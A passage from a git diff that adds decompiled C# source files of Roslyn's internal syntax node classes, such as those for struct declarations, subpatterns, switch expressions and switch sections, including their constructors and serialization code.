missing references) + //IL_001b: Expected O, but got Unknown + //IL_0032: Unknown result type (might be due to invalid IL or missing references) + //IL_0038: Expected O, but got Unknown + //IL_00e6: Unknown result type (might be due to invalid IL or missing references) + //IL_00ed: Expected O, but got Unknown + //IL_0128: Unknown result type (might be due to invalid IL or missing references) + //IL_012f: Expected O, but got Unknown + ((GreenNode)this).SlotCount = 12; + GreenNode val = (GreenNode)reader.ReadValue(); + if (val != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(val); + attributeLists = val; + } + GreenNode val2 = (GreenNode)reader.ReadValue(); + if (val2 != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(val2); + modifiers = val2; + } + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + keyword = syntaxToken; + SyntaxToken syntaxToken2 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken2); + identifier = syntaxToken2; + TypeParameterListSyntax typeParameterListSyntax = (TypeParameterListSyntax)reader.ReadValue(); + if (typeParameterListSyntax != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)typeParameterListSyntax); + typeParameterList = typeParameterListSyntax; + } + ParameterListSyntax parameterListSyntax = (ParameterListSyntax)reader.ReadValue(); + if (parameterListSyntax != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)parameterListSyntax); + parameterList = parameterListSyntax; + } + BaseListSyntax baseListSyntax = (BaseListSyntax)reader.ReadValue(); + if (baseListSyntax != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)baseListSyntax); + baseList = baseListSyntax; + } + GreenNode val3 = (GreenNode)reader.ReadValue(); + if (val3 != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(val3); + constraintClauses = val3; + } + SyntaxToken syntaxToken3 = (SyntaxToken)reader.ReadValue(); + if (syntaxToken3 != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken3); + openBraceToken = syntaxToken3; + } + GreenNode val4 = (GreenNode)reader.ReadValue(); + if (val4 != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(val4); + members = val4; + } + SyntaxToken syntaxToken4 = (SyntaxToken)reader.ReadValue(); + if (syntaxToken4 != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken4); + closeBraceToken = syntaxToken4; + } + SyntaxToken syntaxToken5 = (SyntaxToken)reader.ReadValue(); + if (syntaxToken5 != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken5); + semicolonToken = syntaxToken5; + } + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)attributeLists); + writer.WriteValue((IObjectWritable)(object)modifiers); + writer.WriteValue((IObjectWritable)(object)keyword); + writer.WriteValue((IObjectWritable)(object)identifier); + writer.WriteValue((IObjectWritable)(object)typeParameterList); + writer.WriteValue((IObjectWritable)(object)parameterList); + writer.WriteValue((IObjectWritable)(object)baseList); + writer.WriteValue((IObjectWritable)(object)constraintClauses); + writer.WriteValue((IObjectWritable)(object)openBraceToken); + writer.WriteValue((IObjectWritable)(object)members); + writer.WriteValue((IObjectWritable)(object)closeBraceToken); + writer.WriteValue((IObjectWritable)(object)semicolonToken); + } + + static StructDeclarationSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(StructDeclarationSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new StructDeclarationSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/StructuredTriviaSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/StructuredTriviaSyntax.cs new file mode 100644 index 0000000..5eb863e --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/StructuredTriviaSyntax.cs @@ -0,0 +1,35 @@ +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal abstract class StructuredTriviaSyntax : CSharpSyntaxNode +{ + public sealed override bool IsStructuredTrivia => true; + + internal StructuredTriviaSyntax(SyntaxKind kind, DiagnosticInfo[] diagnostics = null, SyntaxAnnotation[] annotations = null) + : base(kind, diagnostics, annotations) + { + Initialize(); + } + + internal StructuredTriviaSyntax(ObjectReader reader) + : base(reader) + { + Initialize(); + } + + private void Initialize() + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_001d: Unknown result type (might be due to invalid IL or missing references) + //IL_0023: Unknown result type (might be due to invalid IL or missing references) + //IL_0024: Unknown result type (might be due to invalid IL or missing references) + ((GreenNode)this).flags = (NodeFlags)(((GreenNode)this).flags | 2); + if (base.Kind == SyntaxKind.SkippedTokensTrivia) + { + ((GreenNode)this).flags = (NodeFlags)(((GreenNode)this).flags | 8); + } + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/SubpatternSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/SubpatternSyntax.cs new file mode 100644 index 0000000..41089ff --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/SubpatternSyntax.cs @@ -0,0 +1,138 @@ +using System; +using System.Collections.Generic; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class SubpatternSyntax : CSharpSyntaxNode +{ + internal readonly BaseExpressionColonSyntax? expressionColon; + + internal readonly PatternSyntax pattern; + + public BaseExpressionColonSyntax? ExpressionColon => expressionColon; + + public PatternSyntax Pattern => pattern; + + internal SubpatternSyntax(SyntaxKind kind, BaseExpressionColonSyntax? expressionColon, PatternSyntax pattern, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 2; + if (expressionColon != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expressionColon); + this.expressionColon = expressionColon; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)pattern); + this.pattern = pattern; + } + + internal SubpatternSyntax(SyntaxKind kind, BaseExpressionColonSyntax? expressionColon, PatternSyntax pattern, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 2; + if (expressionColon != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expressionColon); + this.expressionColon = expressionColon; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)pattern); + this.pattern = pattern; + } + + internal SubpatternSyntax(SyntaxKind kind, BaseExpressionColonSyntax? expressionColon, PatternSyntax pattern) + : base(kind) + { + ((GreenNode)this).SlotCount = 2; + if (expressionColon != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expressionColon); + this.expressionColon = expressionColon; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)pattern); + this.pattern = pattern; + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => expressionColon, + 1 => pattern, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.SubpatternSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitSubpattern(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitSubpattern(this); + } + + public SubpatternSyntax Update(BaseExpressionColonSyntax expressionColon, PatternSyntax pattern) + { + if (expressionColon != ExpressionColon || pattern != Pattern) + { + SubpatternSyntax subpatternSyntax = SyntaxFactory.Subpattern(expressionColon, pattern); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + subpatternSyntax = GreenNodeExtensions.WithDiagnosticsGreen(subpatternSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + subpatternSyntax = GreenNodeExtensions.WithAnnotationsGreen(subpatternSyntax, (IEnumerable)annotations); + } + return subpatternSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new SubpatternSyntax(base.Kind, expressionColon, pattern, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new SubpatternSyntax(base.Kind, expressionColon, pattern, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal SubpatternSyntax(ObjectReader reader) + : base(reader) + { + ((GreenNode)this).SlotCount = 2; + BaseExpressionColonSyntax baseExpressionColonSyntax = (BaseExpressionColonSyntax)reader.ReadValue(); + if (baseExpressionColonSyntax != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)baseExpressionColonSyntax); + expressionColon = baseExpressionColonSyntax; + } + PatternSyntax patternSyntax = (PatternSyntax)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)patternSyntax); + pattern = patternSyntax; + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)expressionColon); + writer.WriteValue((IObjectWritable)(object)pattern); + } + + static SubpatternSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(SubpatternSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new SubpatternSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/SwitchExpressionArmSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/SwitchExpressionArmSyntax.cs new file mode 100644 index 0000000..d8a7c23 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/SwitchExpressionArmSyntax.cs @@ -0,0 +1,168 @@ +using System; +using System.Collections.Generic; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class SwitchExpressionArmSyntax : CSharpSyntaxNode +{ + internal readonly PatternSyntax pattern; + + internal readonly WhenClauseSyntax? whenClause; + + internal readonly SyntaxToken equalsGreaterThanToken; + + internal readonly ExpressionSyntax expression; + + public PatternSyntax Pattern => pattern; + + public WhenClauseSyntax? WhenClause => whenClause; + + public SyntaxToken EqualsGreaterThanToken => equalsGreaterThanToken; + + public ExpressionSyntax Expression => expression; + + internal SwitchExpressionArmSyntax(SyntaxKind kind, PatternSyntax pattern, WhenClauseSyntax? whenClause, SyntaxToken equalsGreaterThanToken, ExpressionSyntax expression, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 4; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)pattern); + this.pattern = pattern; + if (whenClause != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)whenClause); + this.whenClause = whenClause; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)equalsGreaterThanToken); + this.equalsGreaterThanToken = equalsGreaterThanToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expression); + this.expression = expression; + } + + internal SwitchExpressionArmSyntax(SyntaxKind kind, PatternSyntax pattern, WhenClauseSyntax? whenClause, SyntaxToken equalsGreaterThanToken, ExpressionSyntax expression, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 4; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)pattern); + this.pattern = pattern; + if (whenClause != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)whenClause); + this.whenClause = whenClause; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)equalsGreaterThanToken); + this.equalsGreaterThanToken = equalsGreaterThanToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expression); + this.expression = expression; + } + + internal SwitchExpressionArmSyntax(SyntaxKind kind, PatternSyntax pattern, WhenClauseSyntax? whenClause, SyntaxToken equalsGreaterThanToken, ExpressionSyntax expression) + : base(kind) + { + ((GreenNode)this).SlotCount = 4; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)pattern); + this.pattern = pattern; + if (whenClause != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)whenClause); + this.whenClause = whenClause; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)equalsGreaterThanToken); + this.equalsGreaterThanToken = equalsGreaterThanToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expression); + this.expression = expression; + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => pattern, + 1 => whenClause, + 2 => equalsGreaterThanToken, + 3 => expression, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.SwitchExpressionArmSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitSwitchExpressionArm(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitSwitchExpressionArm(this); + } + + public SwitchExpressionArmSyntax Update(PatternSyntax pattern, WhenClauseSyntax whenClause, SyntaxToken equalsGreaterThanToken, ExpressionSyntax expression) + { + if (pattern != Pattern || whenClause != WhenClause || equalsGreaterThanToken != EqualsGreaterThanToken || expression != Expression) + { + SwitchExpressionArmSyntax switchExpressionArmSyntax = SyntaxFactory.SwitchExpressionArm(pattern, whenClause, equalsGreaterThanToken, expression); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + switchExpressionArmSyntax = GreenNodeExtensions.WithDiagnosticsGreen(switchExpressionArmSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + switchExpressionArmSyntax = GreenNodeExtensions.WithAnnotationsGreen(switchExpressionArmSyntax, (IEnumerable)annotations); + } + return switchExpressionArmSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new SwitchExpressionArmSyntax(base.Kind, pattern, whenClause, equalsGreaterThanToken, expression, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new SwitchExpressionArmSyntax(base.Kind, pattern, whenClause, equalsGreaterThanToken, expression, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal SwitchExpressionArmSyntax(ObjectReader reader) + : base(reader) + { + ((GreenNode)this).SlotCount = 4; + PatternSyntax patternSyntax = (PatternSyntax)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)patternSyntax); + pattern = patternSyntax; + WhenClauseSyntax whenClauseSyntax = (WhenClauseSyntax)reader.ReadValue(); + if (whenClauseSyntax != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)whenClauseSyntax); + whenClause = whenClauseSyntax; + } + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + equalsGreaterThanToken = syntaxToken; + ExpressionSyntax expressionSyntax = (ExpressionSyntax)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expressionSyntax); + expression = expressionSyntax; + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)pattern); + writer.WriteValue((IObjectWritable)(object)whenClause); + writer.WriteValue((IObjectWritable)(object)equalsGreaterThanToken); + writer.WriteValue((IObjectWritable)(object)expression); + } + + static SwitchExpressionArmSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(SwitchExpressionArmSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new SwitchExpressionArmSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/SwitchExpressionSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/SwitchExpressionSyntax.cs new file mode 100644 index 0000000..81a97eb --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/SwitchExpressionSyntax.cs @@ -0,0 +1,193 @@ +using System; +using System.Collections.Generic; +using Microsoft.CodeAnalysis.Syntax.InternalSyntax; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class SwitchExpressionSyntax : ExpressionSyntax +{ + internal readonly ExpressionSyntax governingExpression; + + internal readonly SyntaxToken switchKeyword; + + internal readonly SyntaxToken openBraceToken; + + internal readonly GreenNode? arms; + + internal readonly SyntaxToken closeBraceToken; + + public ExpressionSyntax GoverningExpression => governingExpression; + + public SyntaxToken SwitchKeyword => switchKeyword; + + public SyntaxToken OpenBraceToken => openBraceToken; + + public SeparatedSyntaxList Arms => new SeparatedSyntaxList(SyntaxList.op_Implicit(new SyntaxList(arms))); + + public SyntaxToken CloseBraceToken => closeBraceToken; + + internal SwitchExpressionSyntax(SyntaxKind kind, ExpressionSyntax governingExpression, SyntaxToken switchKeyword, SyntaxToken openBraceToken, GreenNode? arms, SyntaxToken closeBraceToken, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 5; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)governingExpression); + this.governingExpression = governingExpression; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)switchKeyword); + this.switchKeyword = switchKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)openBraceToken); + this.openBraceToken = openBraceToken; + if (arms != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(arms); + this.arms = arms; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)closeBraceToken); + this.closeBraceToken = closeBraceToken; + } + + internal SwitchExpressionSyntax(SyntaxKind kind, ExpressionSyntax governingExpression, SyntaxToken switchKeyword, SyntaxToken openBraceToken, GreenNode? arms, SyntaxToken closeBraceToken, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 5; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)governingExpression); + this.governingExpression = governingExpression; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)switchKeyword); + this.switchKeyword = switchKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)openBraceToken); + this.openBraceToken = openBraceToken; + if (arms != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(arms); + this.arms = arms; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)closeBraceToken); + this.closeBraceToken = closeBraceToken; + } + + internal SwitchExpressionSyntax(SyntaxKind kind, ExpressionSyntax governingExpression, SyntaxToken switchKeyword, SyntaxToken openBraceToken, GreenNode? arms, SyntaxToken closeBraceToken) + : base(kind) + { + ((GreenNode)this).SlotCount = 5; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)governingExpression); + this.governingExpression = governingExpression; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)switchKeyword); + this.switchKeyword = switchKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)openBraceToken); + this.openBraceToken = openBraceToken; + if (arms != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(arms); + this.arms = arms; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)closeBraceToken); + this.closeBraceToken = closeBraceToken; + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => governingExpression, + 1 => switchKeyword, + 2 => openBraceToken, + 3 => arms, + 4 => closeBraceToken, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.SwitchExpressionSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitSwitchExpression(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitSwitchExpression(this); + } + + public SwitchExpressionSyntax Update(ExpressionSyntax governingExpression, SyntaxToken switchKeyword, SyntaxToken openBraceToken, SeparatedSyntaxList arms, SyntaxToken closeBraceToken) + { + //IL_003a: Unknown result type (might be due to invalid IL or missing references) + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + //IL_0023: Unknown result type (might be due to invalid IL or missing references) + if (governingExpression == GoverningExpression && switchKeyword == SwitchKeyword && openBraceToken == OpenBraceToken) + { + SeparatedSyntaxList val = Arms; + if (!((ref arms) != (ref val)) && closeBraceToken == CloseBraceToken) + { + return this; + } + } + SwitchExpressionSyntax switchExpressionSyntax = SyntaxFactory.SwitchExpression(governingExpression, switchKeyword, openBraceToken, arms, closeBraceToken); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + switchExpressionSyntax = GreenNodeExtensions.WithDiagnosticsGreen(switchExpressionSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + switchExpressionSyntax = GreenNodeExtensions.WithAnnotationsGreen(switchExpressionSyntax, (IEnumerable)annotations); + } + return switchExpressionSyntax; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new SwitchExpressionSyntax(base.Kind, governingExpression, switchKeyword, openBraceToken, arms, closeBraceToken, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new SwitchExpressionSyntax(base.Kind, governingExpression, switchKeyword, openBraceToken, arms, closeBraceToken, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal SwitchExpressionSyntax(ObjectReader reader) + : base(reader) + { + //IL_0062: Unknown result type (might be due to invalid IL or missing references) + //IL_0068: Expected O, but got Unknown + ((GreenNode)this).SlotCount = 5; + ExpressionSyntax expressionSyntax = (ExpressionSyntax)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expressionSyntax); + governingExpression = expressionSyntax; + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + switchKeyword = syntaxToken; + SyntaxToken syntaxToken2 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken2); + openBraceToken = syntaxToken2; + GreenNode val = (GreenNode)reader.ReadValue(); + if (val != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(val); + arms = val; + } + SyntaxToken syntaxToken3 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken3); + closeBraceToken = syntaxToken3; + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)governingExpression); + writer.WriteValue((IObjectWritable)(object)switchKeyword); + writer.WriteValue((IObjectWritable)(object)openBraceToken); + writer.WriteValue((IObjectWritable)(object)arms); + writer.WriteValue((IObjectWritable)(object)closeBraceToken); + } + + static SwitchExpressionSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(SwitchExpressionSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new SwitchExpressionSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/SwitchLabelSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/SwitchLabelSyntax.cs new file mode 100644 index 0000000..2808d55 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/SwitchLabelSyntax.cs @@ -0,0 +1,25 @@ +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal abstract class SwitchLabelSyntax : CSharpSyntaxNode +{ + public abstract SyntaxToken Keyword { get; } + + public abstract SyntaxToken ColonToken { get; } + + internal SwitchLabelSyntax(SyntaxKind kind, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + } + + internal SwitchLabelSyntax(SyntaxKind kind) + : base(kind) + { + } + + protected SwitchLabelSyntax(ObjectReader reader) + : base(reader) + { + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/SwitchSectionSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/SwitchSectionSyntax.cs new file mode 100644 index 0000000..bed2036 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/SwitchSectionSyntax.cs @@ -0,0 +1,161 @@ +using System; +using System.Collections.Generic; +using Microsoft.CodeAnalysis.Syntax.InternalSyntax; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class SwitchSectionSyntax : CSharpSyntaxNode +{ + internal readonly GreenNode? labels; + + internal readonly GreenNode? statements; + + public SyntaxList Labels => new SyntaxList(labels); + + public SyntaxList Statements => new SyntaxList(statements); + + internal SwitchSectionSyntax(SyntaxKind kind, GreenNode? labels, GreenNode? statements, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 2; + if (labels != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(labels); + this.labels = labels; + } + if (statements != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(statements); + this.statements = statements; + } + } + + internal SwitchSectionSyntax(SyntaxKind kind, GreenNode? labels, GreenNode? statements, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 2; + if (labels != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(labels); + this.labels = labels; + } + if (statements != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(statements); + this.statements = statements; + } + } + + internal SwitchSectionSyntax(SyntaxKind kind, GreenNode? labels, GreenNode? statements) + : base(kind) + { + ((GreenNode)this).SlotCount = 2; + if (labels != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(labels); + this.labels = labels; + } + if (statements != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(statements); + this.statements = statements; + } + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => labels, + 1 => statements, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.SwitchSectionSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitSwitchSection(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitSwitchSection(this); + } + + public SwitchSectionSyntax Update(SyntaxList labels, SyntaxList statements) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_001d: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + if (labels != Labels || statements != Statements) + { + SwitchSectionSyntax switchSectionSyntax = SyntaxFactory.SwitchSection(labels, statements); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + switchSectionSyntax = GreenNodeExtensions.WithDiagnosticsGreen(switchSectionSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + switchSectionSyntax = GreenNodeExtensions.WithAnnotationsGreen(switchSectionSyntax, (IEnumerable)annotations); + } + return switchSectionSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new SwitchSectionSyntax(base.Kind, labels, statements, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal 